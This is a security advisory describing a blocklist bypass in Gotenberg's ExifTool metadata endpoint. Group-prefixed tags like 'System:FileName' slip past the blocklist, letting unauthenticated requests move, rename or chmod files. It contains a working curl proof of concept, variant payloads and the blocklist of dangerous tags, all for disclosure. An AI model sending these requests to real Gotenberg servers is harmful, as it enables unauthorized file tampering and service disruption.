GHSA-62p3-hvxx-fxg4 Gotenberg has an ExifTool Dangerous Tag Blocklist Bypass via Group-Prefixed Tag Names that Allows Arbitrary File Rename and Move

• Go github.com/gotenberg/gotenberg/v8: <= 8.30.1 (no fix yet)

Summary Gotenberg blocks certain ExifTool tag names like `FileName` and `Directory` to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag — `System:FileName` — which does the exact same thing. Gotenberg only checks if the tag is exactly `FileName`, so `System:FileName` slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough. This bypasses the fix from GHSA-qmwh-9m9c-h36m. Details Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks — "Mr. John" is not "John" — so he lets them in. But inside the club, everyone knows Mr. John IS John. That's exactly what happens here: The blocklist (`exiftool.go` line 275-280) blocks these tag names: ``` FileName Directory HardLink SymLink ``` The check (`exiftool.go` line 295-301) compares what the user sent against this list: ```go if strings.EqualFold(key, tag) { // is "System:FileName" equal to "FileName"? delete(metadata, key) // no — so it's NOT deleted } ``` `System:FileName` is not equal to `FileName` (one is 16 characters, the other is 8), so it passes through. But ExifTool treats them as the same thing. In ExifTool, `System:` is just a group prefix — like a folder name before the tag. `System:FileName` and `FileName` both mean "rename this file." The ExifTool docs say: *"A tag name may include leading group names separated by colons."* Why the colon is allowed: The key validation regex (`exiftool.go` line 31) explicitly permits colons: ```go var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`) // ^ colon is allowed ``` So the full chain is: 1. Attacker sends `System:FileName` → passes the regex (colon is allowed) 2. `System:FileName` → passes the blocklist (it's not equal to `FileName`) 3. ExifTool receives `System:FileName` → treats it as `FileName` → renames the file Bonus finding: The `FilePermissions` tag is not in the blocklist at all. Sending `{"FilePermissions": "rwxrwxrwx"}` tells ExifTool to chmod the file, and nothing stops it. PoC Setup — start Gotenberg with default settings: ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 ``` Create a folder inside the container where we'll move the file to: ```bash docker exec gotenberg-poc mkdir -p /tmp/evil ``` Send the attack — one curl command: ```bash curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F '[email protected]' \ -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}' ``` This returns HTTP 404 because the file got moved before the server could return it. Check that the file actually moved: ```bash docker exec gotenberg-poc ls -la /tmp/evil/ ``` Result: ``` -rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf ``` The file is sitting in `/tmp/evil/stolen.pdf`. It was renamed from its random UUID name to `stolen.pdf` and moved out of the temporary directory — exactly what the blocklist was supposed to prevent. Proof that the existing blocklist works for bare names (control test): ```bash curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \ -F '[email protected]' \ -F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}' ``` This returns HTTP 500 — the bare `FileName` tag was correctly blocked. Only the `System:FileName` variant gets through. Other ways to exploit the same bug: • `system:filename` (lowercase) — also works because ExifTool is case-insensitive • `system:directory` — moves the file to any writable folder • `FilePermissions` — changes the file's permissions (this tag is simply missing from the blocklist entirely) Every endpoint that accepts the `metadata` field is affected, including `/forms/chromium/convert/html`, `/forms/libreoffice/convert`, `/forms/pdfengines/merge`, and all other conversion routes. Impact Any person who can send HTTP requests to Gotenberg (no login needed by default) can: • Move files anywhere inside the container by using `System:Directory` • Rename files to anything by using `System:FileName` • Change file permissions by using `FilePermissions` (this tag is not blocked at all) • Break the service for other users — when a file gets moved mid-request, the server returns 404 errors In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder — potentially affecting whatever service reads files from there.